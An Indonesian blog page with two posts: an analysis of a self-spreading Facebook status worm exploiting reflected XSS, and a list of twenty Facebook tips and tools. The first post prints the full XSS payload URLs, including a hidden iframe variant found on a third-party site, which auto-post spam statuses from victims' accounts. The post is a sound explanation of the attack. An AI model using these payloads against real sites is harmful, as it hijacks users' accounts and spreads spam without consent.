Headlines News :

Latest Post

Tampilkan postingan dengan label FACEBOOK. Tampilkan semua postingan
Tampilkan postingan dengan label FACEBOOK. Tampilkan semua postingan

Memahami Teknik Penyebaran Status Berantai di Facebook

Written By nAmmAsttE on Kamis, 03 Mei 2012 | 01.21

Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.

Analisa
Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
URL tersebut akan saya pecah menjadi 3 bagian:
  • http://m.facebook.com/connect/prompt_feed.php
  • ?display=wap&user_message_prompt=
  • '<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.
The Prompt
Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status

Dari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”, “Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.
Reflected Cross Site Scripting
Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?
Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<font color=red><h1>Hello!!</h1></font>

Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1xMwD7ftE81-5W5EFbND1WP3pLpggb3qs-Vphvf-7YkIkxVqtCDsqtGxDKvzbNcghmn1mLhfxELOFmTZvR8E8E7aEk5ilxx0JYf2jyv3-e12cAsSDrZ9_tHMZB3JBR_ZnnF8eRpXKfPc/s320/Hacked.jpg"/>

Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:
<script>prompt("Enter your PIN");</script>

Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai response HTTP).
The Payload
Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.
Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:
user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.
Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis:

Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.
Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.

Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.
Varian Lain dengan IFRAME
Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.

Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.
<iframe id="CrazyDaVinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}</script>"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis</title>
<meta name="description" content="Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet" />
Perhatikan pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap halaman di web tersebut. Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka dia akan melakukan update status berkali-kali.
Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada halaman web yang tampak normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin curiga bila menerima link yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga bila menerima url panjang, apalagi domainnya tampak seperti situs baik-baik.
No related posts.

20 tips trick facebook yang sangat keren

Written By nAmmAsttE on Minggu, 22 April 2012 | 02.09


Jika Anda surfing Facebook setiap hari atau kadang-kadang, kemungkinan Anda sudah akrab dengan barang-barang biasa seperti menambah / menghapus teman-teman, update status, dinding dan profil, menambahkan dan menjelajahi halaman & aplikasi, dll, tapi ada lagi ..

Minggu ini kita ingin membahas beberapa hal menarik yang dapat Anda lakukan pada (atau dengan) Facebook; termasuk trik yang tidak didokumentasikan atau belum banyak diketahui


1. Menempatkan Facebook Chat di Samping Browser Firefox (Sidebar)
Facebook Chat sangatlah keren, setidaknya itu memungkinkan Anda untuk mengirim pesan instan ke kontak Facebook online. Namun penempata chat box-nya berada di bagian bawah halaman, bagaimana jika ketika kita sudah Sign Out dari Facebook tetapi masih ingin tetap Chating dengan teman anda? Jika Anda menggunakan Firefox, Anda dapat menempatkan Facebook Chat di sidebar. Caranya Adalah sebagai berikut:

  • Pada menu Bookmarks, pilih Organize Bookmarks
  • Klik pada New Bookmark


2. Mendownload Satu Album Sekaligus dari Facebook

Dengan Mozilla anda dapat mendownload add-ons FacePAD: Facebook Photo Album Downloader yang memungkinkan Anda untuk men-download Album Anda /teman-teman Anda , sekaligus, dengan satu klik

3. Update Status Tanpa Log In Via Facebook
hellotxt dan Ping.fm memperkenalkan fitur-fitur yang memungkinkan administrator update Facebook Facebook Pages.

4. Cara Menjadwalkan Pengiriman Pesan di Facebook
Sendible memungkinkan Anda menjadwalkan pesan Facebook terlebih dahulu sehingga Anda dapat mengirim pesan ke teman, pelanggan atau kolega di masa depan.



5. Bagaimana Membunyikan Status Updates Dari Teman Anda di Facebook
Sebuah tutorial singkat tentang Makeuseof untuk memandu Anda cara menyembunyikan update status Facebook dan menjaga kerahasiaannya dari teman-teman yang Anda tentukan.

6. Cara Membuat Foto Temen Kuliah/Alumni Profil di Facebook
Klik pada tab Friends. Lanjutkan ke tab More. Dari “Choose an option“, pilih salah satu tanda strip “-“. Lanjutkan dengan muali memilih Teman-teman sekuliahan/alumi.



7. Cara Mengetahui Jika Diam-diam Temen Facebook Menghapus atau Mem-Blok Account Anda
X-Friends adalah alat yang unik untuk melacak teman-teman yang menghapus atau mem-Blok account anda


8. Cara Men-Sharing Foto Di Flickr ke Facebook
Flickr2Facebook memungkinkan Anda meng-upload foto ke Facebook dari Flickr.



9. Bagaimana Cara Menampilkan Foto yang Muncul di Profil Facebook
Fitur di Facebook yang memungkinkan Anda memutuskan siapa yang muncul di kotak Friends. Klik “edit” di kotak Teman Anda dan ketik nama-nama teman-teman terbaik Anda dalam kotak Always show these friends


10. Cara Menghapus Iklan di Facebook
Greasemonkey ini script – adalah Facebook: Cleaner menghapus banyak iklan yang mengganggu dan pembaruan yang mau tidak mau muncul pada halaman Facebook.



11. Bagaimana Menghubungkan Foto Teman di Facebook Dengan Kontak di Microsoft Outlook
OutSync adalah aplikasi gratis dari Windows yang menghubungkan foto teman di Facebook Dengan kontak di Microsoft Outlook. Hal ini memungkinkan Anda untuk memilih kontak yang diperbarui. Sehingga Anda dapat memperbarui semua kontak sekaligus atau hanya beberapa pada satu waktu.

12. Bagaimana Menampilkan Status di Facebook pada Blog WordPress
Metode berikut ini memanfaatkan status Facebook dan WordPress RSS widget untuk menampilkan Status Facebook di WordPress blog .


13. Bagaimana Cara Posting Blog Post di Facebook Secara Otomatis
Wordbook atau NetworkedBlogs memungkinkan Anda untuk cross-posting blog Anda ke Facebook Wall. Facebook Anda “box” tab akan menampilkan posting blog terbaru.

14. Bagaimana Akses Facebook Chat di Desktop
Gabtastik dan Digsby memungkinkan anda mengakses Facebook Chat pada desktop Windows Anda diluar web browser, menggunakan resolusi dan sistem memory yang minimal.

15. Cara Membuat Mudah Kuis di Facebook
LOLapps menyediakan tempat untuk membuat kuis yang dapat digunakan dengan mudah dan dapat kita share di Facebook.

16. Cara Menyembunyikan Status Online Anda di Facebook Chat Dengan Memilih Kategori Kontak
Facebook memiliki daftar teman yang terintegrasi dengan Chat dan Anda juga dapat memilih anggota mana saja dalam daftar kontak tersebut yang bisa melihat Anda online.

17. Bagaimana Mendapatkan Update Status Pada Facebook di Email
NutshellMail mengkonsolidasikan account Facebook Anda melalui kotak masuk yang sering Anda gunakan.


18. Cara Update Facebook Status dari Firefox
FireStatus adalah utilitas update status untuk berbagai jaringan sosial, termasuk Facebook.


19. Bagaimana Cara Facebook-an di Desktop Anda
Seesmic Desktop, Facebooker, Xobni, Facebook Sidebar Gadget, Scrapboy and Facebook AIR application adalah aplikasi desktop yang memungkinkan Anda berinteraksi seperti halnya yang Anda lakukan di Facebook, tapi tanpa browser.


20. Cara Menghapus, Membatalkan Account dan Profil Kita di Facebook
Sebuah panduan sederhana untuk menghapus atau membatalkan account dan profile Facebook kita dengan mudah.

Random Post

 
Support : Creating Website | Tom Template | Tom Template
Copyright © 2011. NAMMASTTE - All Rights Reserved
Template Created by Creating Website Published by TomTom Template
Proudly powered by Blogger